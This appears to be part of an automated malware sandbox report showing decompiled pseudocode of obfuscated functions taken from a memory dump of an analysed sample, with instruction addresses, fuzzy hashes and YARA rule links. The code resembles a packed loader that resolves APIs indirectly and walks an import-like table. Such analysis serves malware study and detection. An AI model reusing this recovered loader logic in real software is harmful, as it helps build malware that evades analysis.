					do {
						if(( *_t263 & 0x80000000) != 0) {
							_t288[1] =  *_t263;
							_t220 = _t218;
							 *_t152 = _t244;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x0000ffff;
						} else {
							 *(_t283 - 0x10) = 0;
							_push( *(_t283 - 0x10));
							 *_t288 =  *_t288 + _t263;
							_t227 = _t218;
							 *(_t283 - 0x10) = _t227;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x00000000;
							 *(_t283 - 4) =  *(_t283 - 4) ^ _t227 ^  *(_t283 - 0x10) ^  *_t263 +  *(_t283 + 8) + 0x00000002;
							_t220 =  *(_t283 - 0x10);
							_pop(_t263);
						}
						 *_t156 =  *(_t283 - 4);
						_t179 =  *(_t283 - 0x10);
						_t288[1] =  *(_t283 - 4);
						_t222 = _t220;
						 *(_t283 - 0x10) = _t222;
						_t218 =  *(_t283 - 0x10);
						 *_t288 =  *_t288 ^ _t283;
						 *_t288 =  *_t288 + (_t179 & 0x00000000 | _t222 & 0x00000000 |  *(_t283 - 8));
						_t182 =  *((intOrPtr*)(_t190 + 0x45d008))(_t283, _t244);
						_push( *(_t283 - 0x10));
						 *_t288 = _t263;
						_t265 = _t263 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t283 - 0xc));
						_t244 = _t244;
						 *(_t283 - 0x10) = _t197;
						 *_t265 =  *_t265 & 0x00000000;
						 *_t265 =  *_t265 | _t197 & 0x00000000 ^ _t182;
						_t197 =  *(_t283 - 0x10);
						_pop(_t266);
						 *_t288 = 4;
						_t171 = _t244;
						_t263 = _t266 + _t171;
						 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t171;
					} while ( *_t263 != 0);
					_t244 = _t244 + 0x14;
					_t283 = _t283;
				} while ( *_t244 != 0 ||  *(_t244 + 0x10) != 0);
				_push(_t263);
				return _t171 ^ _t171;
			}

0x026a237b
0x026a237b
0x026a2380
0x026a2383
0x026a2389
0x026a2391
0x026a2398
0x026a239e
0x026a23a1
0x026a23ae
0x026a23b0
0x026a23b6
0x026a23bd
0x026a23c3
0x026a23c3
0x026a23c6
0x026a23d0
0x026a23d2
0x026a23d8
0x026a23e0
0x026a23e7
0x026a23ed
0x026a23ed
0x026a23f0
0x026a23f3
0x026a2498
0x026a249f
0x026a24a1
0x026a24a9
0x026a24b3
0x026a24bf
0x026a24bf
0x026a24c9
0x026a24c9
0x026a24cc
0x026a24d2
0x026a24da
0x026a24e1
0x026a24e7
0x026a24e7
0x026a23f9
0x026a2400
0x026a2402
0x026a2408
0x026a240f
0x026a2415
0x026a2415
0x026a2418
0x026a2424
0x026a2426
0x026a2430
0x026a243a
0x026a243e
0x026a2440
0x026a2444
0x026a244f
0x026a2453
0x026a245b
0x026a245b
0x026a245e
0x026a246a
0x026a2471
0x026a2477
0x026a2477
0x026a2478
0x026a24ea
0x026a24ee
0x026a24ee
0x026a24f8
0x026a24fa
0x026a2502
0x026a2509
0x026a250f
0x026a250f
0x026a2510
0x026a251a
0x026a251c
0x026a2524
0x026a252b
0x026a2531
0x026a2531
0x026a253c
0x026a253e
0x026a2546
0x026a2549
0x026a254d
0x026a2550
0x026a2556
0x026a255d
0x026a2563
0x026a2566
0x026a2566
0x026a2567
0x026a2571
0x026a257a
0x026a2584
0x026a2584
0x026a258f
0x026a2593
0x026a259b
0x026a259b
0x026a259f
0x026a25ab
0x026a25b2
0x026a25b8
0x026a25b8
0x026a25bc
0x026a25c2
0x026a25ca
0x026a25cd
0x026a25d0
0x026a25da
0x026a25da
0x026a25e5
0x026a25e9
0x026a25f1
0x026a25f1
0x026a25f4
0x026a25fa
0x026a2602
0x026a2609
0x026a2612
0x026a2612
0x026a2613
0x026a261d
0x026a2620
0x026a2624
0x026a2627
0x026a2633
0x026a263a
0x026a2640
0x026a2641
0x026a2641
0x026a2642
0x026a264c
0x026a264f
0x026a2652
0x026a265c
0x026a2666
0x026a2666
0x026a2669
0x026a2670
0x026a2674
0x026a2678
0x026a267b
0x026a2681
0x026a2689
0x026a2690
0x026a2696
0x026a2699
0x026a2699
0x026a269d
0x026a26a0
0x026a26ac
0x026a26b0
0x026a26b3
0x026a26b4
0x026a26ba
0x026a26f3
0x026a26f7
0x026a26f8
0x026a26fb
0x026a26bc
0x026a26bc
0x026a26c3
0x026a26c6
0x026a26d9
0x026a26da
0x026a26e2
0x026a26e6
0x026a26e9
0x026a26ec
0x026a26ec
0x026a2705
0x026a270b
0x026a2711
0x026a2715
0x026a2716
0x026a2724
0x026a2728
0x026a272b
0x026a272e
0x026a2734
0x026a2737
0x026a2744
0x026a2746
0x026a2747
0x026a274f
0x026a2752
0x026a2754
0x026a2757
0x026a2759
0x026a2760
0x026a2761
0x026a2763
0x026a2766
0x026a2778
0x026a277a
0x026a277b
0x026a278e
0x026a2799

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction ID: 335a79b987e0c7fa6006bb6c7cee163600a32691630a0bfd8bb911a04952db30
Opcode Fuzzy Hash: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction Fuzzy Hash: 7EC16732800215DFEB14CF64C9997AEBBF5FF88725F19846DDC889A245DB781850CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 026A1000, Relevance: .3, Instructions: 279
COMMONCrypto

Download Yara Rule

C-Code - Quality: 30%

			E026A1000(void* __eax, signed int __ebx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				void* __ecx;
				signed int _t146;
				signed int _t148;
				intOrPtr _t149;
				signed int _t151;
				signed int _t155;
				signed int _t159;
				intOrPtr _t160;
				signed int _t161;
				signed int _t163;
				signed int _t166;
				signed int _t167;
				signed int _t170;
				signed int _t173;
				signed int _t176;
				signed int _t178;
				void* _t179;
				signed int _t182;
				signed int _t186;
				signed int _t196;
				void* _t198;
				signed int _t202;
				signed int _t205;
				signed int _t208;
				signed int _t211;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t220;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int* _t251;

				_t230 = __esi;
				_t214 = __edi;
				_t205 = __edx;
				_t167 = __ebx;
				if( *(__ebx + 0x4184df) == 0) {
					_push(__esi);
					_t237 =  *_t251;
					 *_t251 =  *(__ebx + 0x41811f);
					_push(_t239);
					_v20 =  *((intOrPtr*)(__ebx + 0x41860f));
					_t202 = _t176;
					_push(_t237);
					 *_t251 =  *_t251 ^ _t237;
					 *_t251 = _t202;
					_push(_t237);
					_t230 =  *_t251;
					 *_t251 =  *(__ebx + 0x41822f);
					_push(_t230);
					_v32 =  *((intOrPtr*)(__ebx + 0x418523));
					_t166 =  *((intOrPtr*)(__ebx + 0x45d048))();
					_v12 = _t202;
					 *(__ebx + 0x4184df) = 0 ^ _t166;
					_t176 = _v12;
				}
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t251 =  *_t251 | _t214;
				if( *(_t167 + 0x4183b0) == 0) {
					_v20 =  *((intOrPtr*)(_t167 + 0x418097));
					_t196 =  *_t251;
					 *_t251 =  *(_t167 + 0x418103);
					_t230 =  *_t251;
					 *_t251 =  *(_t167 + 0x418297);
					_v32 =  *((intOrPtr*)(_t167 + 0x41854a));
					_t198 = _t196;
					_t163 =  *((intOrPtr*)(_t167 + 0x45d044))(_t196, _t230, _v20, _t176);
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) & 0x00000000;
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) | _t198 -  *_t251 | _t163;
					_t176 = _t198;
				}
				_v12 = _t167;
				_t178 = _t176 & 0x00000000 ^ _t167 - _v12 ^ _a4;
				_t170 = _v12;
				if( *((intOrPtr*)(_t170 + 0x418454)) == 0) {
					_v12 = 0;
					_v20 = _v20 ^ _t178;
					_push( *((intOrPtr*)(_t170 + 0x45d020))(_v12));
					_pop( *_t39);
					_push(_v12);
					_pop( *_t41);
					_pop(_t178);
				}
				_t216 = _t214 & 0x00000000 ^ (_t205 ^ _v20 | _t178);
				_t208 = _t205;
				if( *(_t170 + 0x4183c4) == 0) {
					_t161 =  *((intOrPtr*)(_t170 + 0x45d024))();
					_v20 = _t239;
					 *(_t170 + 0x4183c4) = 0 ^ _t161;
					_t239 = 0;
				}
				_v20 = _v20 ^ _t178;
				_t179 = _t178;
				_t45 = _t170 + 0x41847c; // 0x41847c
				_v20 = _v20 ^ _t230;
				_v20 = _t45;
				_t146 =  *((intOrPtr*)(_t170 + 0x45d018))(_t230);
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) & 0x00000000;
				 *(_t170 + 0x418527) =  *(_t170 + 0x418527) ^ _t179 -  *_t251 ^ _t146;
				_t182 = _t179;
				 *_t251 = _t170;
				_v8 = _t216;
				_t173 = 0;
				_t52 = _t173 + 0x4182af; // 0x4182af
				_v12 = _v12 & 0x00000000;
				 *_t251 =  *_t251 ^ _t52;
				_t148 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12);
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) & 0x00000000;
				 *(_t173 + 0x41824b) =  *(_t173 + 0x41824b) | _t239 ^  *_t251 ^ _t148;
				_t242 = _t239;
				_push(0);
				if( *((intOrPtr*)(_t173 + 0x418107)) == 0) {
					_t160 =  *((intOrPtr*)(_t173 + 0x45d020))();
					_v32 = _t242;
					 *((intOrPtr*)(_t173 + 0x418107)) = _t160;
					_t242 = 0;
				}
				_t149 =  *((intOrPtr*)(_t173 + 0x45d030))();
				if( *((intOrPtr*)(_t173 + 0x418597)) == 0) {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v32 = _v32 + _t182;
					_push(_t242);
					 *_t251 =  *(_t173 + 0x418460);
					_push(_t182);
					_push( *_t251);
					_v40 =  *((intOrPtr*)(_t173 + 0x418623));
					_pop(_t242);
					_v44 =  *((intOrPtr*)(_t173 + 0x4181bb));
					_v48 = _v48 ^ _t216;
					_v48 = _t230;
					_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t182);
					 *_t76 = _t149;
					_push(_v12);
					_pop( *_t78);
					_t182 = _t216;
				}
				do {
					_v8 = _v8 - 1;
					if( *((intOrPtr*)(_t173 + 0x4182fb)) == 0) {
						_v12 = 0;
						_v32 = _v32 | _t182;
						_t242 =  *_t251;
						 *_t251 =  *(_t173 + 0x4184ff);
						_v40 =  *((intOrPtr*)(_t173 + 0x418371));
						_v44 =  *((intOrPtr*)(_t173 + 0x41810f));
						_t211 = _t208;
						_v48 =  *((intOrPtr*)(_t173 + 0x41825b));
						_t216 = _t216;
						_t149 =  *((intOrPtr*)(_t173 + 0x45d044))(_t230, _t182, _t242, _v12);
						_v12 = _t211;
						 *((intOrPtr*)(_t173 + 0x4182fb)) = _t149;
						_t208 = _v12;
						_t182 = _t149;
					}
					_v12 = _t230;
					_t218 = _t216 & 0x00000000 | _t230 - _v12 ^ _t182;
					_t230 = _v12;
					if( *(_t173 + 0x4182bf) == 0) {
						_v32 = _v32 ^ _t173;
						_v32 = _v32 | _t182;
						 *_t251 = 2;
						_v40 =  *((intOrPtr*)(_t173 + 0x4180c3));
						_t218 = _v44;
						_v44 =  *((intOrPtr*)(_t173 + 0x418369));
						_t155 =  *((intOrPtr*)(_t173 + 0x45d03c))(_t149, _t242, _t173);
						_v12 = _t230;
						 *(_t173 + 0x4182bf) = 0 ^ _t155;
						_t230 = _v12;
						_t182 = _t218;
					}
					_v12 = _v12 & 0x00000000;
					_v32 = _v32 + _t182;
					_t112 = _t173 + 0x41855a; // 0x41855a
					_v12 = _v12 & 0x00000000;
					 *_t251 =  *_t251 ^ _t112;
					_t151 =  *((intOrPtr*)(_t173 + 0x45d018))(_v12, _v12);
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) & 0x00000000;
					 *(_t173 + 0x418408) =  *(_t173 + 0x418408) | _t182 ^ _v40 ^ _t151;
					_t186 = _t182;
					_t220 = _t218 + _a4 + 1;
					if( *(_t173 + 0x418047) == 0) {
						 *_t251 = _t186;
						_v40 =  *((intOrPtr*)(_t173 + 0x4182c3));
						_v44 =  *((intOrPtr*)(_t173 + 0x418424));
						_v12 = 0;
						_v48 = _v48 | _t173;
						_t159 =  *((intOrPtr*)(_t173 + 0x45d040))(_v12, _t186, _t151, _t220, _v12);
						_v12 = _t220;
						 *(_t173 + 0x418047) = 0 ^ _t159;
						_t220 = _v12;
						_pop(_t186);
					}
					 *_t251 =  *_t251 - _t230;
					 *_t251 = _t186;
					_t173 = _t173;
					 *((intOrPtr*)(_t173 + 0x45d038))(_t230);
					_push((_t220 + _a8 | _a4) + 1);
					_t216 = _v40;
					_v40 = _v8;
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					_v44 = _v44 | _t216;
					_v48 = _a8;
					_t208 = _t208;
					_t149 = E026A6424(_t173, _t186, _t216, _t230);
					_t182 = _t230;
				} while (_v8 != 0);
				return 0;
			}

0x026a1000
0x026a1000
0x026a1000
0x026a1000
0x026a100d
0x026a100f
0x026a1016
0x026a1016
0x026a1019
0x026a1021
0x026a1025
0x026a1026
0x026a1027
0x026a102a
0x026a102d
0x026a1034
0x026a1034
0x026a1037
0x026a103f
0x026a1044
0x026a104a
0x026a1051
0x026a1057
0x026a1057
0x026a105a
0x026a105e
0x026a1061
0x026a106b
0x026a1074
0x026a107e
0x026a107e
0x026a1088
0x026a1088
0x026a1093
0x026a1097
0x026a1098
0x026a10a4
0x026a10ab
0x026a10b1
0x026a10b1
0x026a10b2
0x026a10be
0x026a10c0
0x026a10ca
0x026a10cc
0x026a10d6
0x026a10df
0x026a10e0
0x026a10e3
0x026a10e6
0x026a10ec
0x026a10ec
0x026a10f6
0x026a10f8
0x026a1100
0x026a1102
0x026a110a
0x026a1111
0x026a1117
0x026a1117
0x026a1119
0x026a111c
0x026a111d
0x026a1124
0x026a1127
0x026a112a
0x026a1136
0x026a113d
0x026a1143
0x026a1146
0x026a114d
0x026a1150
0x026a1151
0x026a1157
0x026a115e
0x026a1161
0x026a116d
0x026a1174
0x026a117a
0x026a117b
0x026a1184
0x026a1186
0x026a118e
0x026a1195
0x026a119b
0x026a119b
0x026a119c
0x026a11a9
0x026a11ab
0x026a11af
0x026a11b2
0x026a11b5
0x026a11bc
0x026a11bf
0x026a11c0
0x026a11c7
0x026a11cb
0x026a11d3
0x026a11d7
0x026a11da
0x026a11dd
0x026a11e4
0x026a11e7
0x026a11ea
0x026a11f0
0x026a11f0
0x026a11f1
0x026a11f1
0x026a11fb
0x026a11fd
0x026a1207
0x026a1211
0x026a1211
0x026a121b
0x026a1226
0x026a122a
0x026a1233
0x026a1237
0x026a1238
0x026a123e
0x026a1245
0x026a124b
0x026a124e
0x026a124e
0x026a124f
0x026a125a
0x026a125c
0x026a1266
0x026a1269
0x026a126c
0x026a1270
0x026a127e
0x026a1288
0x026a1288
0x026a128b
0x026a1291
0x026a1298
0x026a129e
0x026a12a1
0x026a12a1
0x026a12a5
0x026a12ac
0x026a12af
0x026a12b5
0x026a12bc
0x026a12bf
0x026a12cb
0x026a12d2
0x026a12d9
0x026a12da
0x026a12e2
0x026a12e7
0x026a12f2
0x026a12fe
0x026a1301
0x026a130b
0x026a130e
0x026a1314
0x026a131b
0x026a1321
0x026a1324
0x026a1324
0x026a1326
0x026a1329
0x026a1337
0x026a1339
0x026a133f
0x026a1343
0x026a1343
0x026a1346
0x026a134a
0x026a134d
0x026a1355
0x026a1359
0x026a135a
0x026a135f
0x026a1360
0x026a1371

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction ID: 58715f99d0d8609a9a7bc6777760f426fde1a3ef99a8313147abe2c4062f8cad
Opcode Fuzzy Hash: 4342e90b92e638b973889a9d05bcbe9378d07ee4f75416b9680d699ffb522fa4
Instruction Fuzzy Hash: D1C19D72808208EFEB149F64C8897AEBBF5FF48715F15409DEC889E246DB702590CF68

Uniqueness

Uniqueness Score: -1.00%

Function 026A247B, Relevance: .3, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E026A247B(void* __ecx, signed int __edx, signed int __edi) {
				signed int _t153;
				signed int _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t164;
				void* _t166;
				signed int _t168;
				signed int _t169;
				signed int _t172;
				void* _t178;
				signed int _t179;
				signed int _t187;
				signed int _t193;
				signed int _t197;
				signed int _t199;
				signed int _t201;
				signed int _t206;
				void* _t216;
				signed int _t218;
				signed int _t221;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t239;
				void* _t240;
				void* _t250;
				signed int _t252;
				signed int _t255;
				signed int* _t260;

				_t221 = __edi;
				_t197 = __edx;
				_t172 = 0x418087;
				 *((intOrPtr*)(_t255 + 0x13)) =  *((intOrPtr*)(_t255 + 0x13)) + __edx;
				_t153 =  *0x008750A3();
				 *_t4 = _t153;
				 *0x0083010E =  *(_t255 - 0x10);
				while(1) {
					L7:
					 *_t260 = _t153;
					_t233 = 0 ^  *_t221;
					_t153 = 0;
					if( *(_t172 + 0x41816b) == 0) {
						_t260[1] =  *(_t172 + 0x418487);
						_t197 =  *_t260;
						 *_t260 =  *(_t172 + 0x418338);
						_t187 =  *_t260;
						 *_t260 =  *(_t172 + 0x4183ec);
						_t153 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t179, _t197, _t153, _t233);
						 *(_t255 - 0x10) = _t187;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) & 0x00000000;
						 *(_t172 + 0x41816b) =  *(_t172 + 0x41816b) | _t187 ^  *(_t255 - 0x10) ^ _t153;
						_t179 =  *(_t255 - 0x10);
					}
					while(1) {
						_push(_t153);
						_t157 =  *_t260;
						 *_t260 =  *(_t221 + 0x10);
						if( *(_t172 + 0x4185cb) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
							 *_t260 = _t221;
							 *(_t172 + 0x4185cb) = 0 ^ _t157;
							_t221 = 0;
						}
						_pop( *_t48);
						if( *(_t172 + 0x418273) == 0) {
							_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *_t260 = _t179;
							 *(_t172 + 0x418273) = _t157;
							_t179 = 0;
						}
						_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
						_t236 = _t233;
						if( *(_t172 + 0x418203) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 | _t159;
							_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418203) = 0 ^ _t169;
							_t221 =  *(_t255 - 0x10);
							_t159 = _t221;
						}
						 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
						if( *(_t172 + 0x4184ef) == 0) {
							 *_t260 =  *(_t172 + 0x418127);
							_t221 =  *_t260;
							 *_t260 =  *(_t172 + 0x4182f7);
							_t260[1] =  *(_t172 + 0x4185f7);
							_t250 = _t236;
							_t252 =  *_t260;
							 *_t260 =  *(_t172 + 0x41827f);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
							 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
							_t236 = _t252;
						}
						 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
						_t178 =  *(_t255 - 0x10);
						if( *(_t172 + 0x418334) == 0) {
							 *_t260 =  *_t260 ^ _t172;
							 *_t260 =  *_t260 + _t178;
							_t193 =  *_t260;
							 *_t260 =  *(_t172 + 0x41838d);
							_t260[1] =  *(_t172 + 0x4185af);
							_t221 = _t221;
							_t255 =  *_t260;
							 *_t260 =  *(_t172 + 0x418410);
							_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
							 *(_t255 - 0x10) = _t193;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
							 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
							_t178 = _t255;
						}
						_t179 = _t178 +  *(_t255 + 8);
						if( *(_t172 + 0x418474) == 0) {
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 + _t179;
							_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
							 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
							_t197 = _t197;
							_t179 = _t197;
						}
						_t237 = _t236 +  *(_t255 + 8);
						if( *(_t172 + 0x418020) == 0) {
							 *_t260 =  *_t260 - _t159;
							 *_t260 = _t179;
							 *_t260 =  *(_t172 + 0x418493);
							_t197 =  *_t260;
							 *_t260 =  *(_t172 + 0x418507);
							 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
							 *_t260 =  *_t260 + _t172;
							 *_t260 =  *_t260 & 0x00000000;
							 *_t260 =  *_t260 ^ _t172;
							_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
							 *(_t255 - 0x10) = _t221;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
							 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
							_t221 =  *(_t255 - 0x10);
							_t179 = _t197;
						}
						 *_t260 = _t179;
						_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
						 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
						 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
						_t172 = _t172;
						do {
							L24:
							if(( *_t237 & 0x80000000) != 0) {
								_t260[1] =  *_t237;
								_t199 = _t197;
								 *_t134 = _t221;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x0000ffff;
							} else {
								 *(_t255 - 0x10) = 0;
								_push( *(_t255 - 0x10));
								 *_t260 =  *_t260 + _t237;
								_t206 = _t197;
								 *(_t255 - 0x10) = _t206;
								 *(_t255 - 4) =  *(_t255 - 4) & 0x00000000;
								 *(_t255 - 4) =  *(_t255 - 4) ^ _t206 ^  *(_t255 - 0x10) ^  *_t237 +  *(_t255 + 8) + 0x00000002;
								_t199 =  *(_t255 - 0x10);
								_pop(_t237);
							}
							 *_t138 =  *(_t255 - 4);
							_t161 =  *(_t255 - 0x10);
							_t260[1] =  *(_t255 - 4);
							_t201 = _t199;
							 *(_t255 - 0x10) = _t201;
							_t197 =  *(_t255 - 0x10);
							 *_t260 =  *_t260 ^ _t255;
							 *_t260 =  *_t260 + (_t161 & 0x00000000 | _t201 & 0x00000000 |  *(_t255 - 8));
							_t164 =  *((intOrPtr*)(_t172 + 0x45d008))(_t255, _t221);
							_push( *(_t255 - 0x10));
							 *_t260 = _t237;
							_t239 = _t237 & 0x00000000 ^ (_t221 & 0x00000000 |  *(_t255 - 0xc));
							_t221 = _t221;
							 *(_t255 - 0x10) = _t179;
							 *_t239 =  *_t239 & 0x00000000;
							 *_t239 =  *_t239 | _t179 & 0x00000000 ^ _t164;
							_t179 =  *(_t255 - 0x10);
							_pop(_t240);
							 *_t260 = 4;
							_t153 = _t221;
							_t237 = _t240 + _t153;
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t153;
						} while ( *_t237 != 0);
						_t221 = _t221 + 0x14;
						_t255 = _t255;
						if( *_t221 != 0 ||  *(_t221 + 0x10) != 0) {
							if( *_t221 != 0) {
								goto L7;
							}
							if( *(_t172 + 0x418420) == 0) {
								_t153 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *(_t255 - 0x10) = _t179;
								 *(_t172 + 0x418420) = 0 ^ _t153;
								_t179 =  *(_t255 - 0x10);
							}
							 *(_t255 - 0x10) = _t172;
							_t233 = _t237 & 0x00000000 ^ _t172 -  *(_t255 - 0x10) ^  *(_t221 + 0x10);
							_t172 =  *(_t255 - 0x10);
							if( *(_t172 + 0x41812f) == 0) {
								_t260[1] =  *(_t172 + 0x418033);
								_t166 = _t153;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t166;
								_t260[1] =  *(_t172 + 0x41813b);
								_t216 = _t197;
								_t218 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182eb);
								_t153 =  *((intOrPtr*)(_t172 + 0x45d044))(_t216, _t233, _t172, _t153);
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) & 0x00000000;
								 *(_t172 + 0x41812f) =  *(_t172 + 0x41812f) ^ _t218 ^  *_t260 ^ _t153;
								_t197 = _t218;
							}
							_push(_t153);
							_t157 =  *_t260;
							 *_t260 =  *(_t221 + 0x10);
							if( *(_t172 + 0x4185cb) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d024))();
								 *_t260 = _t221;
								 *(_t172 + 0x4185cb) = 0 ^ _t157;
								_t221 = 0;
							}
							_pop( *_t48);
							if( *(_t172 + 0x418273) == 0) {
								_t157 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *_t260 = _t179;
								 *(_t172 + 0x418273) = _t157;
								_t179 = 0;
							}
							_t159 = _t157 & 0x00000000 | _t233 & 0x00000000 ^  *(_t255 + 8);
							_t236 = _t233;
							if( *(_t172 + 0x418203) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 | _t159;
								_t169 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418203) = 0 ^ _t169;
								_t221 =  *(_t255 - 0x10);
								_t159 = _t221;
							}
							 *(_t255 - 0xc) =  *(_t255 - 0xc) + _t159;
							if( *(_t172 + 0x4184ef) == 0) {
								 *_t260 =  *(_t172 + 0x418127);
								_t221 =  *_t260;
								 *_t260 =  *(_t172 + 0x4182f7);
								_t260[1] =  *(_t172 + 0x4185f7);
								_t250 = _t236;
								_t252 =  *_t260;
								 *_t260 =  *(_t172 + 0x41827f);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d048))(_t260, _t250, _t236, _t221, _t179);
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) & 0x00000000;
								 *(_t172 + 0x4184ef) =  *(_t172 + 0x4184ef) | _t252 ^  *_t260 | _t159;
								_t236 = _t252;
							}
							 *_t75 =  *((intOrPtr*)(_t221 + 0xc));
							_t178 =  *(_t255 - 0x10);
							if( *(_t172 + 0x418334) == 0) {
								 *_t260 =  *_t260 ^ _t172;
								 *_t260 =  *_t260 + _t178;
								_t193 =  *_t260;
								 *_t260 =  *(_t172 + 0x41838d);
								_t260[1] =  *(_t172 + 0x4185af);
								_t221 = _t221;
								_t255 =  *_t260;
								 *_t260 =  *(_t172 + 0x418410);
								_t159 =  *((intOrPtr*)(_t172 + 0x45d03c))(_t159, _t178, _t172);
								 *(_t255 - 0x10) = _t193;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) & 0x00000000;
								 *(_t172 + 0x418334) =  *(_t172 + 0x418334) ^ (_t193 & 0x00000000 | _t159);
								_t178 = _t255;
							}
							_t179 = _t178 +  *(_t255 + 8);
							if( *(_t172 + 0x418474) == 0) {
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 + _t179;
								_t159 =  *((intOrPtr*)(_t172 + 0x45d020))();
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) & 0x00000000;
								 *(_t172 + 0x418474) =  *(_t172 + 0x418474) | _t197 -  *_t260 ^ _t159;
								_t197 = _t197;
								_t179 = _t197;
							}
							_t237 = _t236 +  *(_t255 + 8);
							if( *(_t172 + 0x418020) == 0) {
								 *_t260 =  *_t260 - _t159;
								 *_t260 = _t179;
								 *_t260 =  *(_t172 + 0x418493);
								_t197 =  *_t260;
								 *_t260 =  *(_t172 + 0x418507);
								 *(_t255 - 0x10) =  *(_t255 - 0x10) & 0x00000000;
								 *_t260 =  *_t260 + _t172;
								 *_t260 =  *_t260 & 0x00000000;
								 *_t260 =  *_t260 ^ _t172;
								_t168 =  *((intOrPtr*)(_t172 + 0x45d044))( *(_t255 - 0x10),  *_t260, _t197, _t159);
								 *(_t255 - 0x10) = _t221;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) & 0x00000000;
								 *(_t172 + 0x418020) =  *(_t172 + 0x418020) | _t221 ^  *(_t255 - 0x10) | _t168;
								_t221 =  *(_t255 - 0x10);
								_t179 = _t197;
							}
							 *_t260 = _t179;
							_t160 =  *((intOrPtr*)(_t172 + 0x45d00c))( *(_t255 - 0x10));
							 *(_t255 - 8) =  *(_t255 - 8) & 0x00000000;
							 *(_t255 - 8) =  *(_t255 - 8) ^ (_t172 -  *_t260 | _t160);
							_t172 = _t172;
							goto L24;
						} else {
							_push(_t237);
							return _t153 ^ _t153;
						}
					}
				}
			}

